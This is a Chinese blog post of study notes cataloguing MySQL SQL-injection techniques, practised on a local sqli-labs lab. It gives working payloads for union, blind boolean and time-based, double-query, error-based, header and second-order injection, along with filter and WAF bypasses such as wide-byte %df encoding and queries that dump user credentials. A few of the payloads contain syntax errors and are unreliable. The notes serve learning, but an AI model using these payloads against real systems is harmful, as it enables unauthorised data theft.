标签:总结 information 2.0 name rand MySQL 注入 select schema
注入类型总览
- Union注入
分为整型和字符型注入
- 盲注
boolean注入:判断字符匹配正确与否
时间注入:根据返回是否延时
- 双查询注入
双查询注入:通过floor(rand(14)*2)、count(*)使得添加了重复的键
- 报错注入
ExtractValue报错注入
UpdateXml报错注入
- http注入
User-Agent 型注入
Referer 型注入
Cookie 型注入
- 二次注入
注入语句存储至数据库中,调用时就会触发
- 绕过注入
过滤注释符绕过
过滤空格符绕过
双写绕过--大小写绕过
符号形式绕过
转义绕过--宽字节注入--编码转换
- 堆叠注入
在同一行中使用 ; 写入两句SQL语句
Union注入
用于有回显的地方
姿势:
1 union select 1,2,database(); // 整型
1' union select 1,2,database(); // 字符型
基础注入知识集合
一些情况:
1' or 1=1 #
1 or 1=1 #
1" or 1=1 #
1') or 1=1 #
一些编码:
’ %27
# %23
%20
“ %22
回显判断
回显指的是有没有数据或者信息呈现在页面
order by 3#
-1' union select 1,2,3#
-- 没有回显的话,就属于盲注系列了
小笔记:若后面的注释无效,我就想可不可以通过运算符及它本身的弱类型特性下,构造一个运算,再order by,比如order by 3 | 'a ,但是!没有用。。测试了很多运算都无效
获取数据:
select database();
select user();
select version();
select @@datadir; # MySQL安装路径
select @@version_compile_os; #电脑系统
select schema_name from information_schema.schemata;
select table_name from information_schema.tables where table_schema = 'security';
select column_name from information_schema.column where column_schema = 'users';
select username,password from security.users;
select group_concat(concat_ws('~',username,password)) from security.users;
一些扩展函数 (ง'-')ง
group_concat() # 列举括号内所有字段,返回为一行
concat_ws('~',name,password) # 以name~password形式输出,一般用于显示多行数据时
concat(”name“) # 用法类似
盲注
在没有直接回显信息的情况下,通过一些特数的函数、特征来获取数据信息
盲注 布尔型
简单的说,通过猜解得到数据,一般需要遍历,可以结合到Burpsuite
姿势:
跑库名:
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
1' or substr((select database()),1,1)='s'#
1' or substr((select schema_name from information_schema.schemata limit 0,1),1,1)='I'#
跑表名:
+----------------+
| SecurityTables |
+----------------+
| emails |
| referers |
| uagents |
| users |
+----------------+
1' or substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'#
跑列名:
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
1' or length((select column_name from information_schema.columns where table_name='users' limit 0,1))=8 %23
// 可以先使用length()跑列名
1' or substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)="u"# //不同库会有相同的列名
// id不算是limit 1,1(是username)
1' or select substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,10) #
这里最好把库名和列名都写出了,避免出现不同库相同列名的情况
跑字段:
1' and select substr((select username from security.users limit 0,1),1,1)="D"#
盲注 时间型
姿势:
跑库名:
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
1' or if(substr((select database()),1,1)='s',1,sleep(5)) %23
// 若正确则快速返回,否则睡眠5秒
1' or if(substr((select schema_name from information_schema.schemata limit 0,1),1,1)='I',1,sleep(5)) #
跑表名:
+----------------+
| SecurityTables |
+----------------+
| emails |
| referers |
| uagents |
| users |
+----------------+
1' or if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',1,sleep(5))#
跑列名:
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
//精确到了库和表,是可以跑出id的
1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1,1)='u',1,sleep(5))#
跑字段:
1' and if(substr((select username from security.users limit 0,1),1,1)='D',1,sleep(5))
双查询注入
姿势:
mysql> select(concat((select database()),floor(rand(14)*2)))c,count(*) from information_schema.tables group by c;
ERROR 1062 (23000): Duplicate entry 'security0' for key 'group_key'
如果结合unino查询,要注意组合后的列数,这里已经有2列了,2和3就要让出,比如
http://127.0.0.1/sqli/Less-58/?id=-1'union select 1,(concat((select database()),floor(rand(14)*2)))c,count(*) from information_schema.tables group by c %23
核心函数:
floor(rand(14)*2)
分析rand()与floor()在双查询中的作用:
数据库:
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges |
| dvwa |
| mysql |
| performance_schema |
| security |
| test |
+--------------------+
mysql> select floor(rand(14)*2) from information_schema.schemata;
+-------------------+
| floor(rand(14)*2) |
+-------------------+
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
+-------------------+
1.floor(rand(14)*2)) ×2可以使范围落在[0,1]内,rand(14)的前4位是1010更快报错
2.rand()函数执行的次数取决于数据库的多少,即from后面的目标
基本的句式: 这里报出的是当前数据库
mysql> select(concat((select database()),floor(rand(14)*2)))c,count(*) from information_schema.tables group by c;
ERROR 1062 (23000): Duplicate entry 'security0' for key 'group_key'
关于floor(rand()*2)造成双查询注入的原理深究
基本原理是是在计数时count(*)
,临时生成了一张key-tally
表,key记录每一行数据的所属,就如同下边的每一行数据中的表tables
所属的库名,key
不可重复,tally
为计的数。
mysql> select table_schema, count(*) from information_schema.tables group by table_schema;
+--------------------+----------+
| table_schema | count(*) |
+--------------------+----------+
| challenges | 1 |
| dvwa | 2 |
| information_schema | 40 |
| mysql | 24 |
| performance_schema | 17 |
| security | 4 |
| test | 1 |
+--------------------+----------+
但对于rand()
,MySQL
在处理它时会进行两次计算,第一次是在检测时,第二次是在写入时,如果两次值不同且第二次的值在key-tally
表中存在,就会报错,故它的报错原理是写入了重复的键key
,比如floor(rand(14)*2)
生成的随机数为1010001,检测为1可以写入,但是写入时再次计算变成了0,0就被写入为key
,第二次检测为1可以写入,但写入时又进行了计算变为0,若再次写入0就会重复添加了key
,造成报错。
mysql> select floor(rand(14)*2) from information_schema.schemata;
+-------------------+
| floor(rand(14)*2) |
+-------------------+
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
+-------------------+
问题来了:
当我进行测试floor(rand(92)*2)
时,按照上述原理应该会报错的,但是计算了800+次还是没有报错,我就很纳闷……希望以后的我会来看时能解决
前8次计算值,最后很奇怪为什么会有下面的结果,我分析的话0应该有3个,1应该有4个
+-------------------+
| floor(rand(92)*2) |
+-------------------+
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
+-------------------+
mysql> select floor(rand(92)*2)c, count(*)from information_schema.schemata group by c;
+---+----------+
| c | count(*) |
+---+----------+
| 0 | 2 |
| 1 | 5 |
+---+----------+
报错注入
报错注入基本分为:
extractvalue
报错注入updatexml
报错注入
extractvalue 报错注入
基本原理: extractvalue/updatexml
函数内有个路径参数,当这个路径参数格式写错时,会产生报错并返回该错误路径,故可以在错误的路径中添加查询语句。
mysql> select extractvalue(rand(),concat(1,database())); // 两个参数
ERROR 1105 (HY000): XPATH syntax error: 'security'
updatexml 报错注入
基本原理: updatexml
函数内有个路径参数,当这个路径参数格式写错时,会产生报错并返回该错误路径,故可以在错误的路径中添加查询语句。
姿势:
mysql> select updatexml(rand(),concat(1,database()),1); // 三个参数
ERROR 1105 (HY000): XPATH syntax error: 'security'
http header注入
在post
和get
都无效时,可以尝试http header
注入
不同类型:
User-Agent
型注入Referer
型注入Cookie
型注入
User-Agent 型注入
原理:修改User-Agent
的值,进行SQL
注入,与get
和post
的原理一样
- 抓包,拿到头部数据
- 对
User-Agent
进行注入修改 - 发送改后的包,执行注入代码
工具
- 火狐插件
HackBar
- 火狐插件
HTTP Header Live
- 火狐插件
Modify Headers
用后面两个插件就可以了
Referer型注入
- 抓包,拿到头部数据
- 对
User-Agent
进行注入修改 - 发送改后的包,执行注入代码
- 火狐插件
HackBar
- 火狐插件
HTTP Header Live
- 火狐插件
Modify Headers
Cookie型注入
原理:对Cookie
的value
进行SQL
注入,原理类似
-
火狐插件
HackBar
-
火狐插件
HTTP Header Live
-
火狐插件
Cookie Editor
二次注入
类似于存储型的XSS,通过已存在数据库的数据进行注入
原理解释:
有个用户admin,然后注册了新的用户,命名为admin'#
之后在登陆admin'#时,后台会将该名处理为SQL语句,执行SQL注入操作
不过有个小疑问:注册了admin'#之后不就登不了本身这个用户了吗?
绕过注入
过滤注释符绕过注入
源代码中使用preg_replace()
函数,对--
、 #
进行过滤,下面介绍几种方法:
- 构造闭合
姿势:
-1' union select 1,database(),'3
- 使用or
姿势:
-1' union select 1,database(),3 or '1'='1
- /00截断
这里利用到%00 其实是0x00的特殊功能 00截断原理思考
姿势:
-1’ union select 1,database(),3;%00
过滤空格符绕过
双写绕过--大小写绕过
符号形式绕过
将一些or and语句转为 ||
、&&
,从而进行绕过
姿势:
1' && substr((select database()),1,1)='s'#
转义绕过--宽字节注入--编码转换
文件在处理数据时,会对 '
进行转义为\'
,比如可以通过Addslashes()函数,下面介绍几种绕过的方法:
- 宽字节注入绕过
MySQL的中文编码为GBK,在遇到双字节的编码时会解码为汉字等非英文字,进而可以实现绕过
姿势:
1%df' union select 1,2,database() #
- UTF-8 转 UTF-16
将UTF-8的’
转为UTF-16的 �'
这样,转义函数就检测不到了。
姿势:
1�' union select 1,2,database()#
关于对SQL注入的防范
- 对注释符进行替换
- 对空格符进行替换
- ……
绕过waf
waf相当于一个检测站点,当有信息请求到数据库时,回对请求的内容进行筛选、过滤,不合格的将被挡住,合格的才可以继续对数据库请求数据。
分为三种:白盒测试、黑盒测试、fuzz测试
白盒测试
即在已知到源码的情况下进行测试
黑盒测试
-
架构层方面
就是找到数据库的真实地址,而不用通过waf
还有一种:找到同网段(内网?)
-
资源限制角度
比如有些大数据包就不会被检测到
-
协议层面
指未全覆盖,例如只对get请求进行过滤,而不过滤post请求
-
规则层面
- 符号绕过
- 函数分割符绕过
- 浮点数词法解释
- error-based sql注入
- mysql 特殊语法
- 大小写绕过
- 关键字重复
- 关键字替换
标签:总结,information,2.0,name,rand,MySQL,注入,select,schema 来源: https://www.cnblogs.com/labster/p/13258043.html
本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享; 2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关; 3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关; 4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除; 5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。